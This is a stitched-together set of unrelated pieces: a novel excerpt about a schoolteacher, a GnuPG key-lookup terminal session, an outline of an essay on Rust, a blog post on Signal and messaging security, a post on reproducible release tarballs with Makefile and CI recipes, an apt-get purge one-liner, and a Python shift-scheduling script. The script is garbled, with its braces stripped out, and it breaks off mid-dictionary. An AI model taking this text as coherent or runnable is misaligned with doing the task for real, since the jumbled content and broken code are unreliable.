What I really had in mind was to do a little teaching. "And gladly wolde he lerne, and gladly teche" like Chaucer's Clerke of Oxenford. I had come eager to share all I know and feel; to imbue the young with a love for their language and literature; to instruct and to inspire. What happened in real life (when I had asked why they were taking English, a boy said: "To help us in real life") was something else again, and even if I could describe it, you would think I am exaggerating.

I want to take this opportunity to extend a warm welcome to all faculty and staff, and the sincere hope that you have returned from a healthful and fruitful summer vacation with renewed vim and vigor, ready to gird your loins and tackle the many important and vital tasks that lie ahead undaunted. Thank you for your help and cooperation in the past and future. Maxwell E. Clarke
Principal

Please admit bearer to class Detained by me for going Up the Down staircase and subsequent insolence. JJ McH

• [1] https://etbe.coker.com.au/2024/01/22/storage-trends-2024/

$ gpg --locate-key josch@mister-muffin.de

$ gpg --with-wkd-hash -k josch@mister-muffin.de   grep mister-muffin.de
[...]
8yxgr5jjfok88r9um56kb44x9h4dyj7f@mister-muffin.de

$ gpg --no-options --export --export-options export-minimal,export-clean \
    --export-filter keep-uid="uid = Johannes Schauer Marin Rodrigues <josch@mister-muffin.de>" \
    F83356BBE112B7462A41552F7D5D8C60CF4D3EB4

gpg: directory '/root/.gnupg' created
gpg: keybox '/root/.gnupg/pubring.kbx' created
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: error retrieving 'josch@mister-muffin.de' via WKD: General error
gpg: error reading key: General error

$ gpg --locate-key josch@mister-muffin.de
gpg: key 7D5D8C60CF4D3EB4: public key "Johannes Schauer Marin Rodrigues <josch@mister-muffin.de>" imported
gpg: Total number processed: 1
gpg:               imported: 1
pub   rsa4096 2013-07-04 [SC]
      F83356BBE112B7462A41552F7D5D8C60CF4D3EB4
uid           [ unknown] Johannes Schauer Marin Rodrigues <josch@mister-muffin.de>
sub   rsa4096 2013-07-04 [E]
sub   rsa4096 2013-07-04 [S]
sub   rsa4096 2023-07-08 [S]

• Community
• Technological values - particularly, compared to C/C++
  • Ostensible values
  • Attitude to the programmer s mistakes
  • The ideology of the hardcore programmer
  • Memory safety as a power struggle
  • Memory safety via Rust as a power struggle
• Notes
  • This is not a RIIR manifesto
  • Disclosure
  • On the meaning of woke
• Pithy conclusion

A language empowering everyone to build reliable and efficient software.

What makes communications secure? When most people are talking about secure communications, they mean some combination of these properties:

1. Privacy - nobody except the intended recipient can decode a message.
2. Authentication - guarantees that the person you are chatting with really is the intended recipient.
3. Ephemerality - preventing a record of the communication from being stored. That is, making it more like a conversation around the table than a written email.
4. Anonymity - keeping your set of contacts to yourself and even obfuscating the fact that communications are occurring.

If you think about it, most people care the most about the first two. In fact, authentication is a key part of privacy. There is an attack known as man in the middle in which somebody pretends to be the intended recipient. The interceptor reads the messages, and then passes them on to the real intended recipient. So we can t really have privacy without authentication. I ll have more to say about these later. For now, let s discuss attack scenarios.

What compromises security? There are a number of ways that security can be compromised. Let s think through some of them:

Communications infrastructure snooping Let s say you used no encryption at all, and connected to public WiFi in a coffee shop to send your message. Who all could potentially see it?

• The owner of the coffee shop s WiFi
• The coffee shop s Internet provider
• The recipient s Internet provider
• Any Internet providers along the network between the sender and the recipient
• Any government or institution that can compel any of the above to hand over copies of the traffic
• Any hackers that compromise any of the above systems

Back in the early days of the Internet, most traffic had no encryption. People were careful about putting their credit cards into webpages and emails because they knew it was easy to intercept them. We have been on a decades-long evolution towards more pervasive encryption, which is a good thing. Text messages (SMS) follow a similar path to the above scenario, and are unencrypted. We know that all of the above are ways people s texts can be compromised; for instance, governments can issue search warrants to obtain copies of texts, and China is believed to have a persistent hack into western telcos. SMS fails all four of our attributes of secure communication above (privacy, authentication, ephemerality, and anonymity). Also, think about what information is collected from SMS and by who. Texts you send could be retained in your phone, the recipient s phone, your phone company, their phone company, and so forth. They might also live in cloud backups of your devices. You only have control over your own phone s retention. So defenses against this involve things like:

• Strong end-to-end encryption, so no intermediate party even the people that make the app can snoop on it.
• Using strong authentication of your peers
• Taking steps to prevent even app developers from being able to see your contact list or communication history

You may see some other apps saying they use strong encryption or use the Signal protocol. But while they may do that for some or all of your message content, they may still upload your contact list, history, location, etc. to a central location where it is still vulnerable to these kinds of attacks. When you think about anonymity, think about it like this: if you send a letter to a friend every week, every postal carrier that transports it even if they never open it or attempt to peak inside will be able to read the envelope and know that you communicate on a certain schedule with that friend. The same can be said of SMS, email, or most encrypted chat operators. Signal s design prevents it from retaining even this information, though nation-states or ISPs might still be able to notice patterns (every time you send something via Signal, your contact receives something from Signal a few milliseconds later). It is very difficult to provide perfect anonymity from well-funded adversaries, even if you can provide very good privacy.

Device compromise Let s say you use an app with strong end-to-end encryption. This takes away some of the easiest ways someone could get to your messages. But it doesn t take away all of them. What if somebody stole your phone? Perhaps the phone has a password, but if an attacker pulled out the storage unit, could they access your messages without a password? Or maybe they somehow trick or compel you into revealing your password. Now what? An even simpler attack doesn t require them to steal your device at all. All they need is a few minutes with it to steal your SIM card. Now they can receive any texts sent to your number - whether from your bank or your friend. Yikes, right? Signal stores your data in an encrypted form on your device. It can protect it in various ways. One of the most important protections is ephemerality - it can automatically delete your old texts. A text that is securely erased can never fall into the wrong hands if the device is compromised later. An actively-compromised phone, though, could still give up secrets. For instance, what if a malicious keyboard app sent every keypress to an adversary? Signal is only as secure as the phone it runs on but still, it protects against a wide variety of attacks.

Untrustworthy communication partner Perhaps you are sending sensitive information to a contact, but that person doesn t want to keep it in confidence. There is very little you can do about that technologically; with pretty much any tool out there, nothing stops them from taking a picture of your messages and handing the picture off.

Environmental compromise Perhaps your device is secure, but a hidden camera still captures what s on your screen. You can take some steps against things like this, of course.

Human error Sometimes humans make mistakes. For instance, the reason a reporter got copies of messages recently was because a participant in a group chat accidentally added him (presumably that participant meant to add someone else and just selected the wrong name). Phishing attacks can trick people into revealing passwords or other sensitive data. Humans are, quite often, the weakest link in the chain.

Protecting yourself So how can you protect yourself against these attacks? Let s consider:

• Use a secure app like Signal that uses strong end-to-end encryption where even the provider can t access your messages
• Keep your software and phone up-to-date
• Be careful about phishing attacks and who you add to chat rooms
• Be aware of your surroundings; don t send sensitive messages where people might be looking over your shoulder with their eyes or cameras

There are other methods besides Signal. For instance, you could install GnuPG (GPG) on a laptop that has no WiFi card or any other way to connect it to the Internet. You could always type your messages on that laptop, encrypt them, copy the encrypted text to a floppy disk (or USB device), take that USB drive to your Internet computer, and send the encrypted message by email or something. It would be exceptionally difficult to break the privacy of messages in that case (though anonymity would be mostly lost). Even if someone got the password to your secure laptop, it wouldn t do them any good unless they physically broke into your house or something. In some ways, it is probably safer than Signal. (For more on this, see my article How gapped is your air?) But, that approach is hard to use. Many people aren t familiar with GnuPG. You don t have the convenience of sending a quick text message from anywhere. Security that is hard to use most often simply isn t used. That is, you and your friends will probably just revert back to using insecure SMS instead of this GnuPG approach because SMS is so much easier. Signal strikes a unique balance of providing very good security while also being practical, easy, and useful. For most people, it is the most secure option available. Signal is also open source; you don t have to trust that it is as secure as it says, because you can inspect it for yourself. Also, while it s not federated, I previously addressed that.

Government use If you are a government, particularly one that is highly consequential to the world, you can imagine that you are a huge target. Other nations are likely spending billions of dollars to compromise your communications. Signal itself might be secure, but if some other government can add spyware to your phones, or conduct a successful phishing attack, you can still have your communications compromised. I have no direct knowledge, but I think it is generally understood that the US government maintains communications networks that are entirely separate from the Internet and can only be accessed from secure physical locations and secure rooms. These can be even more secure than the average person using Signal because they can protect against things like environmental compromise, human error, and so forth. The scandal in March of 2025 happened because government employees were using Signal rather than official government tools for sensitive information, had taken advantage of Signal s ephemerality (laws require records to be kept), and through apparent human error had directly shared this information with a reporter. Presumably a reporter would have lacked access to the restricted communications networks in the first place, so that wouldn t have been possible. This doesn t mean that Signal is bad. It just means that somebody that can spend billions of dollars on security can be more secure than you. Signal is still a great tool for people, and in many cases defeats even those that can spend lots of dollars trying to defeat it. And remember - to use those restricted networks, you have to go to specific rooms in specific buildings. They are still not as convenient as what you carry around in your pocket.

Conclusion Signal is practical security. Do you want phone companies reading your messages? How about Facebook or X? Have those companies demonstrated that they are completely trustworthy throughout their entire history? I say no. So, go install Signal. It s the best, most practical tool we have.

---

This post is also available on my website, where it may be periodically updated.

• Release artifacts should be built in a way that can be reproduced by others
• It should be possible to build a project from source tarball that doesn t contain any generated or vendor files (e.g., in the style of git-archive).

Version Handling To build usable binaries from a minimal tarballs, it need to know which version number it is. Traditionally this information was stored inside configure.ac in git. However I use gnulib s git-version-gen to infer the version number from the git tag or git commit instead. The git tag information is not available in a git-archive tarball. My solution to this was to make use of the export-subst feature of the .gitattributes file. I store the file .tarball-version-git in git containing the magic cookie like this:

$Format:%(describe)$

With this, git-archive will replace with a useful version identifier on export, see the libtasn1 patch to achieve this. To make use of this information, the git-version-gen script was enhanced to read this information, see the gnulib patch. This is invoked by ./configure to figure out which version number the package is for.

Translations We want translations to be included in the minimal source tarball for it to be buildable. Traditionally these files are retrieved by the maintainer from the Translation project when running ./bootstrap, however there are two problems with this. The first one is that there is no strong authentication or versioning information on this data, the tools just download and place whatever wget downloaded into your source tree (printf-style injection attack anyone?). We could improve this (e.g., publish GnuPG signed translations messages with clear versioning), however I did not work on that further. The reason is that I want to support offline builds of packages. Downloading random things from the Internet during builds does not work when building a Debian package, for example. The translation project could solve this by making a monthly tarball with their translations available, for distributors to pick up and provide as a separate package that could be used as a build dependency. However that is not how these tools and projects are designed. Instead I reverted back to storing translations in git, something that I did for most projects back when I was using CVS 20 years ago. Hooking this into ./bootstrap and gettext workflow can be tricky (ideas for improvement most welcome!), but I used a simple approach to store all directly downloaded po/*.po files directly as po/*.po.in and make the ./bootstrap tool move them in place, see the libidn2 commit followed by the actual make update-po commit with all the translations where one essential step is:

# Prime po/*.po from fall-back copy stored in git.
for poin in po/*.po.in; do
    po=$(echo $poin   sed 's/.in//')
    test -f $po   cp -v $poin $po
done
ls po/*.po   sed 's .*/ ; s \.po$ ' > po/LINGUAS

Fetching vendor files like gnulib Most build dependencies are in the shape of You need a C compiler . However some come in the shape of source-code files intended to be vendored , and gnulib is a huge repository of such files. The latter is a problem when building from a minimal git archive. It is possible to consider translation files as a class of vendor files, since they need to be copied verbatim into the project build directory for things to work. The same goes for *.m4 macros from the GNU Autoconf Archive. However I m not confident that the solution for all vendor files must be the same. For translation files and for Autoconf Archive macros, I have decided to put these files into git and merge them manually occasionally. For gnulib files, in some projects like OATH Toolkit I also store all gnulib files in git which effectively resolve this concern. (Incidentally, the reason for doing so was originally that running ./bootstrap took forever since there is five gnulib instances used, which is no longer the case since gnulib-tool was rewritten in Python.) For most projects, however, I rely on ./bootstrap to fetch a gnulib git clone when building. I like this model, however it doesn t work offline. One way to resolve this is to make the gnulib git repository available for offline use, and I ve made some effort to make this happen via a Gnulib Git Bundle and have explained how to implement this approach for Debian packaging. I don t think that is sufficient as a generic solution though, it is mostly applicable to building old releases that uses old gnulib files. It won t work when building from CI/CD pipelines, for example, where I have settled to use a crude way of fetching and unpacking a particular gnulib snapshot, see this Libntlm patch. This is much faster than working with git submodules and cloning gnulib during ./bootstrap. Essentially this is doing:

GNULIB_REVISION=$(. bootstrap.conf >&2; echo $GNULIB_REVISION)
wget -nv https://gitlab.com/libidn/gnulib-mirror/-/archive/$GNULIB_REVISION/gnulib-mirror-$GNULIB_REVISION.tar.gz
gzip -cd gnulib-mirror-$GNULIB_REVISION.tar.gz   tar xf -
rm -fv gnulib-mirror-$GNULIB_REVISION.tar.gz
export GNULIB_SRCDIR=$PWD/gnulib-mirror-$GNULIB_REVISION
./bootstrap --no-git
./configure
make

Test the git-archive tarball This goes without saying, but if you don t test that building from a git-archive style tarball works, you are likely to regress at some point. Use CI/CD techniques to continuously test that a minimal git-archive tarball leads to a usable build.

Mission Accomplished So that wasn t hard, was it? You should now be able to publish a minimal git-archive tarball and users should be able to build your project from it. I recommend naming these archives as PROJECT-vX.Y.Z-src.tar.gz replacing PROJECT with your project name and X.Y.Z with your version number. The archive should have only one sub-directory named PROJECT-vX.Y.Z/ containing all the source-code files. This differentiate it against traditional PROJECT-X.Y.Z.tar.gz tarballs in that it embeds the git tag (which typically starts with v) and contains a wildcard-friendly -src substring. Alas there is no consistency around this naming pattern, and GitLab, GitHub, Codeberg etc all seem to use their own slightly incompatible variant. Let s go on to see what is needed to achieve reproducible make dist source tarballs. This is the release artifact that most users use, and they often contain lots of generated files and vendor files. These files are included to make it easy to build for the user. What are the challenges to make these reproducible?

Build dependencies causing different generated content The first part is to realize that if you use tool X with version A to generate a file that goes into the tarball, version B of that tool may produce different outputs. This is a generic concern and it cannot be solved. We want our build tools to evolve and produce better outputs over time. What can be addressed is to avoid needless differences. For example, many tools store timestamps and versioning information in the generated files. This causes needless differences, which makes audits harder. I have worked on some of these, like Autoconf Archive timestamps but solving all of these examples will take a long time, and some upstream are reluctant to incorporate these changes. My approach meanwhile is to build things using similar environments, and compare the outputs for differences. I ve found that the various closely related forks of GNU/Linux distributions are useful for this. Trisquel 11 is based on Ubuntu 22.04, and building my projects using both and comparing the differences only give me the relevant differences to improve. This can be extended to compare AlmaLinux with RockyLinux (for both versions 8 and 9), Devuan 5 against Debian 12, PureOS 10 with Debian 11, and so on.

Timestamps Sometimes tools store timestamps in files in a way that is harder to fix. Two notable examples of this are *.po translation files and Texinfo manuals. For translation files, I have resolved this by making sure the files use a predictable POT-Creation-Date timestamp, and I set it to the modification timestamps of the NEWS file in the repository (which I set to the git commit of the latest commit elsewhere) like this:

dist-hook: po-CreationDate-to-mtime-NEWS
.PHONY: po-CreationDate-to-mtime-NEWS
po-CreationDate-to-mtime-NEWS: mtime-NEWS-to-git-HEAD
  $(AM_V_GEN)for p in $(distdir)/po/*.po $(distdir)/po/$(PACKAGE).pot; do \
    if test -f "$$p"; then \
      $(SED) -e 's,POT-Creation-Date: .*\\n",POT-Creation-Date: '"$$(env LC_ALL=C TZ=UTC0 stat --format=%y $(srcdir)/NEWS   cut -c1-16,31-)"'\\n",' < $$p > $$p.tmp && \
      if cmp $$p $$p.tmp > /dev/null; then \
        rm -f $$p.tmp; \
      else \
        mv $$p.tmp $$p; \
      fi \
    fi \
  done

Similarily, I set a predictable modification time of the texinfo source file like this:

dist-hook: mtime-NEWS-to-git-HEAD
.PHONY: mtime-NEWS-to-git-HEAD
mtime-NEWS-to-git-HEAD:
  $(AM_V_GEN)if test -e $(srcdir)/.git \
                && command -v git > /dev/null; then \
    touch -m -t "$$(git log -1 --format=%cd \
      --date=format-local:%Y%m%d%H%M.%S)" $(srcdir)/NEWS; \
  fi

However I ve realized that this needs to happen earlier and probably has to be run during ./configure time, because the doc/version.texi file is generated on first build before running make dist and for some reason the file is not rebuilt at release time. The Automake texinfo integration is a bit inflexible about providing hooks to extend the dependency tracking. The method to address these differences isn t really important, and they change over time depending on preferences. What is important is that the differences are eliminated.

ChangeLog Traditionally ChangeLog files were manually prepared, and still is for some projects. I maintain git2cl but recently I ve settled with gnulib s gitlog-to-changelog because doing so avoids another build dependency (although the output formatting is different and arguable worse for my git commit style). So the ChangeLog files are generated from git history. This means a shallow clone will not produce the same ChangeLog file depending on how deep it was cloned. For Libntlm I simply disabled use of generated ChangeLog because I wanted to support an even more extreme form of reproducibility: I wanted to be able to reproduce the full make dist source archives from a minimal git-archive source archive. However for other projects I ve settled with a middle ground. I realized that for git describe to produce reproducible outputs, the shallow clone needs to include the last release tag. So it felt acceptable to assume that the clone is not minimal, but instead has some but not all of the history. I settled with the following recipe to produce ChangeLog's covering all changes since the last release.

dist-hook: gen-ChangeLog
.PHONY: gen-ChangeLog
gen-ChangeLog:
  $(AM_V_GEN)if test -e $(srcdir)/.git; then			\
    LC_ALL=en_US.UTF-8 TZ=UTC0					\
    $(top_srcdir)/build-aux/gitlog-to-changelog			\
       --srcdir=$(srcdir) --					\
       v$(PREV_VERSION)~.. > $(distdir)/cl-t &&			\
         printf '\n\nSee the source repo for older entries\n'	\
         >> $(distdir)/cl-t &&					\
         rm -f $(distdir)/ChangeLog &&				\
         mv $(distdir)/cl-t $(distdir)/ChangeLog;  		\
  fi

I m undecided about the usefulness of generated ChangeLog files within make dist archives. Before we have stable and secure archival of git repositories widely implemented, I can see some utility of this in case we lose all copies of the upstream git repositories. I can sympathize with the concept of ChangeLog files died when we started to generate them from git logs: the files no longer serve any purpose, and we can ask people to go look at the git log instead of reading these generated non-source files.

Long-term reproducible trusted build environment Distributions comes and goes, and old releases of them goes out of support and often stops working. Which build environment should I chose to build the official release archives? To my knowledge only Guix offers a reliable way to re-create an older build environment (guix gime-machine) that have bootstrappable properties for additional confidence. However I had two difficult problems here. The first one was that I needed Guix container images that were usable in GitLab CI/CD Pipelines, and this side-tracked me for a while. The second one delayed my effort for many months, and I was inclined to give up. Libidn distribute a C# implementation. Some of the C# source code files included in the release tarball are generated. By what? You guess it, by a C# program, with the source code included in the distribution. This means nobody could reproduce the source tarball of Libidn without trusting someone elses C# compiler binaries, which were built from binaries of earlier releases, chaining back into something that nobody ever attempts to build any more and likely fail to build due to bit-rot. I had two basic choices, either remove the C# implementation from Libidn (which may be a good idea for other reasons, since the C and C# are unrelated implementations) or build the source tarball on some binary-only distribution like Trisquel. Neither felt appealing to me, but a late christmas gift of a reproducible Mono came to Guix that resolve this.

Embedded images in Texinfo manual For Libidn one section of the manual has an image illustrating some concepts. The PNG, PDF and EPS outputs were generated via fig2dev from a *.fig file (hello 1985!) that I had stored in git. Over time, I had also started to store the generated outputs because of build issues. At some point, it was possible to post-process the PDF outputs with grep to remove some timestamps, however with compression this is no longer possible and actually the grep command I used resulted in a 0-byte output file. So my embedded binaries in git was no longer reproducible. I first set out to fix this by post-processing things properly, however I then realized that the *.fig file is not really easy to work with in a modern world. I wanted to create an image from some text-file description of the image. Eventually, via the Guix manual on guix graph, I came to re-discover the graphviz language and tool called dot (hello 1993!). All well then? Oh no, the PDF output embeds timestamps. Binary editing of PDF s no longer work through simple grep, remember? I was back where I started, and after some (soul- and web-) searching I discovered that Ghostscript (hello 1988!) pdfmarks could be used to modify things here. Cooperating with automake s texinfo rules related to make dist proved once again a worthy challenge, and eventually I ended up with a Makefile.am snippet to build images that could be condensed into:

info_TEXINFOS = libidn.texi
libidn_TEXINFOS += libidn-components.png
imagesdir = $(infodir)
images_DATA = libidn-components.png
EXTRA_DIST += components.dot
DISTCLEANFILES = \
  libidn-components.eps libidn-components.png libidn-components.pdf
libidn-components.eps: $(srcdir)/components.dot
  $(AM_V_GEN)$(DOT) -Nfontsize=9 -Teps < $< > $@.tmp
  $(AM_V_at)! grep %%CreationDate $@.tmp
  $(AM_V_at)mv $@.tmp $@
libidn-components.pdf: $(srcdir)/components.dot
  $(AM_V_GEN)$(DOT) -Nfontsize=9 -Tpdf < $< > $@.tmp
# A simple sed on CreationDate is no longer possible due to compression.
# 'exiftool -CreateDate' is alternative to 'gs', but adds ~4kb to file.
# Ghostscript add <1kb.  Why can't 'dot' avoid setting CreationDate?
  $(AM_V_at)printf '[ /ModDate ()\n  /CreationDate ()\n  /DOCINFO pdfmark\n' > pdfmarks
  $(AM_V_at)$(GS) -q -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sOutputFile=$@.tmp2 $@.tmp pdfmarks
  $(AM_V_at)rm -f $@.tmp pdfmarks
  $(AM_V_at)mv $@.tmp2 $@
libidn-components.png: $(srcdir)/components.dot
  $(AM_V_GEN)$(DOT) -Nfontsize=9 -Tpng < $< > $@.tmp
  $(AM_V_at)mv $@.tmp $@
pdf-recursive: libidn-components.pdf
dvi-recursive: libidn-components.eps
ps-recursive: libidn-components.eps
info-recursive: $(top_srcdir)/.version libidn-components.png

Surely this can be improved, but I m not yet certain in what way is the best one forward. I like having a text representation as the source of the image. I m sad that the new image size is ~48kb compared to the old image size of ~1kb. I tried using exiftool -CreateDate as an alternative to GhostScript, but using it to remove the timestamp added ~4kb to the file size and naturally I was appalled by this ignorance of impending doom.

Test reproducibility of tarball Again, you need to continuously test the properties you desire. This means building your project twice using different environments and comparing the results. I ve settled with a small GitLab CI/CD pipeline job that perform bit-by-bit comparison of generated make dist archives. It also perform bit-by-bit comparison of generated git-archive artifacts. See the Libidn2 .gitlab-ci.yml 0-compare job which essentially is:

0-compare:
  image: alpine:latest
  stage: repro
  needs: [ B-AlmaLinux8, B-AlmaLinux9, B-RockyLinux8, B-RockyLinux9, B-Trisquel11, B-Ubuntu2204, B-PureOS10, B-Debian11, B-Devuan5, B-Debian12, B-gcc, B-clang, B-Guix, R-Guix, R-Debian12, R-Ubuntu2404, S-Trisquel10, S-Ubuntu2004 ]
  script:
  - cd out
  - sha256sum */*.tar.* */*/*.tar.*   sort   grep    -- -src.tar.
  - sha256sum */*.tar.* */*/*.tar.*   sort   grep -v -- -src.tar.
  - sha256sum */*.tar.* */*/*.tar.*   sort   uniq -c -w64   sort -rn
  - sha256sum */*.tar.* */*/*.tar.*   grep    -- -src.tar.   sort   uniq -c -w64   grep -v '^      1 '
  - sha256sum */*.tar.* */*/*.tar.*   grep -v -- -src.tar.   sort   uniq -c -w64   grep -v '^      1 '
# Confirm modern git-archive tarball reproducibility
  - cmp b-almalinux8/src/*.tar.gz b-almalinux9/src/*.tar.gz
  - cmp b-almalinux8/src/*.tar.gz b-rockylinux8/src/*.tar.gz
  - cmp b-almalinux8/src/*.tar.gz b-rockylinux9/src/*.tar.gz
  - cmp b-almalinux8/src/*.tar.gz b-debian12/src/*.tar.gz
  - cmp b-almalinux8/src/*.tar.gz b-devuan5/src/*.tar.gz
  - cmp b-almalinux8/src/*.tar.gz r-guix/src/*.tar.gz
  - cmp b-almalinux8/src/*.tar.gz r-debian12/src/*.tar.gz
  - cmp b-almalinux8/src/*.tar.gz r-ubuntu2404/src/*v2.*.tar.gz
# Confirm old git-archive (export-subst but long git describe) tarball reproducibility
  - cmp b-trisquel11/src/*.tar.gz b-ubuntu2204/src/*.tar.gz
# Confirm really old git-archive (no export-subst) tarball reproducibility
  - cmp b-debian11/src/*.tar.gz b-pureos10/src/*.tar.gz
# Confirm 'make dist' generated tarball reproducibility
  - cmp b-almalinux8/*.tar.gz b-rockylinux8/*.tar.gz
  - cmp b-almalinux9/*.tar.gz b-rockylinux9/*.tar.gz
  - cmp b-pureos10/*.tar.gz b-debian11/*.tar.gz
  - cmp b-devuan5/*.tar.gz b-debian12/*.tar.gz
  - cmp b-trisquel11/*.tar.gz b-ubuntu2204/*.tar.gz
  - cmp b-guix/*.tar.gz r-guix/*.tar.gz
# Confirm 'make dist' from git-archive tarball reproducibility
  - cmp s-trisquel10/*.tar.gz s-ubuntu2004/*.tar.gz

Notice that I discovered that git archive outputs differ over time too, which is natural but a bit of a nuisance. The output of the job is illuminating in the way that all SHA256 checksums of generated tarballs are included, for example the libidn2 v2.3.8 job log:

$ sha256sum */*.tar.* */*/*.tar.*   sort   grep -v -- -src.tar.
368488b6cc8697a0a937b9eb307a014396dd17d3feba3881e6911d549732a293  b-trisquel11/libidn2-2.3.8.tar.gz
368488b6cc8697a0a937b9eb307a014396dd17d3feba3881e6911d549732a293  b-ubuntu2204/libidn2-2.3.8.tar.gz
59db2d045fdc5639c98592d236403daa24d33d7c8db0986686b2a3056dfe0ded  b-debian11/libidn2-2.3.8.tar.gz
59db2d045fdc5639c98592d236403daa24d33d7c8db0986686b2a3056dfe0ded  b-pureos10/libidn2-2.3.8.tar.gz
5bd521d5ecd75f4b0ab0fc6d95d444944ef44a84cad859c9fb01363d3ce48bb8  s-trisquel10/libidn2-2.3.8.tar.gz
5bd521d5ecd75f4b0ab0fc6d95d444944ef44a84cad859c9fb01363d3ce48bb8  s-ubuntu2004/libidn2-2.3.8.tar.gz
7f1dcdea3772a34b7a9f22d6ae6361cdcbe5513e3b6485d40100b8565c9b961a  b-almalinux8/libidn2-2.3.8.tar.gz
7f1dcdea3772a34b7a9f22d6ae6361cdcbe5513e3b6485d40100b8565c9b961a  b-rockylinux8/libidn2-2.3.8.tar.gz
8031278157ce43b5813f36cf8dd6baf0d9a7f88324ced796765dcd5cd96ccc06  b-clang/libidn2-2.3.8.tar.gz
8031278157ce43b5813f36cf8dd6baf0d9a7f88324ced796765dcd5cd96ccc06  b-debian12/libidn2-2.3.8.tar.gz
8031278157ce43b5813f36cf8dd6baf0d9a7f88324ced796765dcd5cd96ccc06  b-devuan5/libidn2-2.3.8.tar.gz
8031278157ce43b5813f36cf8dd6baf0d9a7f88324ced796765dcd5cd96ccc06  b-gcc/libidn2-2.3.8.tar.gz
8031278157ce43b5813f36cf8dd6baf0d9a7f88324ced796765dcd5cd96ccc06  r-debian12/libidn2-2.3.8.tar.gz
acf5cbb295e0693e4394a56c71600421059f9c9bf45ccf8a7e305c995630b32b  r-ubuntu2404/libidn2-2.3.8.tar.gz
cbdb75c38100e9267670b916f41878b6dbc35f9c6cbe60d50f458b40df64fcf1  b-almalinux9/libidn2-2.3.8.tar.gz
cbdb75c38100e9267670b916f41878b6dbc35f9c6cbe60d50f458b40df64fcf1  b-rockylinux9/libidn2-2.3.8.tar.gz
f557911bf6171621e1f72ff35f5b1825bb35b52ed45325dcdee931e5d3c0787a  b-guix/libidn2-2.3.8.tar.gz
f557911bf6171621e1f72ff35f5b1825bb35b52ed45325dcdee931e5d3c0787a  r-guix/libidn2-2.3.8.tar.gz

I m sure I have forgotten or suppressed some challenges (sprinkling LANG=C TZ=UTC0 helps) related to these goals, but my hope is that this discussion of solutions will inspire you to implement these concepts for your software project too. Please share your thoughts and additional insights in a comment below. Enjoy Happy Hacking in the course of practicing this!

 
dpkg -S /etc/X11
dpkg -S /usr/lib/firmware
apt-get purge $(dpkg -l   grep -i \
  -e gnome -e gtk -e x11-common -e xfonts- -e libvdpau -e dbus-user-session -e gpg-agent \
  -e bluez -e colord -e cups -e fonts -e drm -e xf86 -e mesa -e nouveau -e cinnamon \
  -e avahi -e gdk -e pixel -e desktop -e libreoffice -e x11 -e wayland -e xorg \
  -e firmware-nvidia-graphics -e firmware-amd-graphics -e firmware-mediatek -e firmware-realtek \
    awk ' print $2 ')
apt-get autoremove
apt-get purge $(dpkg -l   grep '^r'   awk ' print $2 ')
tasksel install cinnamon-desktop
 

• We are trying to put together a schedule for one week
• Each day has some set of work shifts that need to be staffed
• Each shift must be staffed with exactly one worker
• The shift schedule is known beforehand, and the workers each declare their preferences beforehand: they mark each shift in the week as one of:
  • PREFERRED (if they want to be scheduled on that shift)
  • NEUTRAL
  • DISFAVORED (if they don't love that shift)
  • REFUSED (if they absolutely cannot work that shift)

#!/usr/bin/python3
import sys
import os
import re
def report_solution_to_console(vars):
    for w in days_of_week:
        annotation = ''
        if human_annotate is not None:
            for s in shifts.keys():
                m = re.match(rf' w  - ', s)
                if not m: continue
                if vars[human_annotate][s].value():
                    annotation = f" ( human_annotate  SCHEDULED)"
                    break
            if not len(annotation):
                annotation = f" ( human_annotate  OFF)"
        print(f" w annotation ")
        for s in shifts.keys():
            m = re.match(rf' w  - ', s)
            if not m: continue
            annotation = ''
            if human_annotate is not None:
                annotation = f" ( human_annotate   shifts[s][human_annotate] )"
            print(f"    ----  s[m.end():] annotation ")
            for h in humans:
                if vars[h][s].value():
                    print(f"          h  ( shifts[s][h] )")
def report_solution_summary_to_console(vars):
    print("\nSUMMARY")
    for h in humans:
        print(f"--  h ")
        print(f"   benefit:  benefits[h].value():.3f ")
        counts = dict()
        for a in availabilities:
            counts[a] = 0
        for s in shifts.keys():
            if vars[h][s].value():
                counts[shifts[s][h]] += 1
        for a in availabilities:
            print(f"    counts[a]   a ")
human_annotate = None
days_of_week = ('SUNDAY',
                'MONDAY',
                'TUESDAY',
                'WEDNESDAY',
                'THURSDAY',
                'FRIDAY',
                'SATURDAY')
humans = ['ALICE', 'BOB',
          'CAROL', 'DAVID', 'EVE', 'FRANK', 'GRACE', 'HEIDI', 'IVAN', 'JUDY']
shifts =  'SUNDAY - SANDING 9:00 AM - 4:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'DAVID': 'PREFERRED',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'DISFAVORED',
           'HEIDI': 'DISFAVORED',
           'IVAN':  'PREFERRED',
           'JUDY':  'NEUTRAL' ,
          'WEDNESDAY - SAWING 7:30 AM - 2:30 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'DAVID': 'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'NEUTRAL',
           'HEIDI': 'DISFAVORED',
           'IVAN':  'PREFERRED',
           'EVE':   'REFUSED',
           'JUDY':  'REFUSED' ,
          'THURSDAY - SANDING 9:00 AM - 4:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'DAVID': 'PREFERRED',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'PREFERRED',
           'HEIDI': 'DISFAVORED',
           'IVAN':  'PREFERRED',
           'JUDY':  'PREFERRED' ,
          'SATURDAY - SAWING 7:30 AM - 2:30 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'DAVID': 'PREFERRED',
           'FRANK': 'PREFERRED',
           'HEIDI': 'DISFAVORED',
           'IVAN':  'PREFERRED',
           'EVE':   'REFUSED',
           'JUDY':  'REFUSED',
           'GRACE': 'REFUSED' ,
          'SUNDAY - SAWING 9:00 AM - 4:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'DAVID': 'PREFERRED',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'DISFAVORED',
           'IVAN':  'PREFERRED',
           'JUDY':  'PREFERRED',
           'HEIDI': 'REFUSED' ,
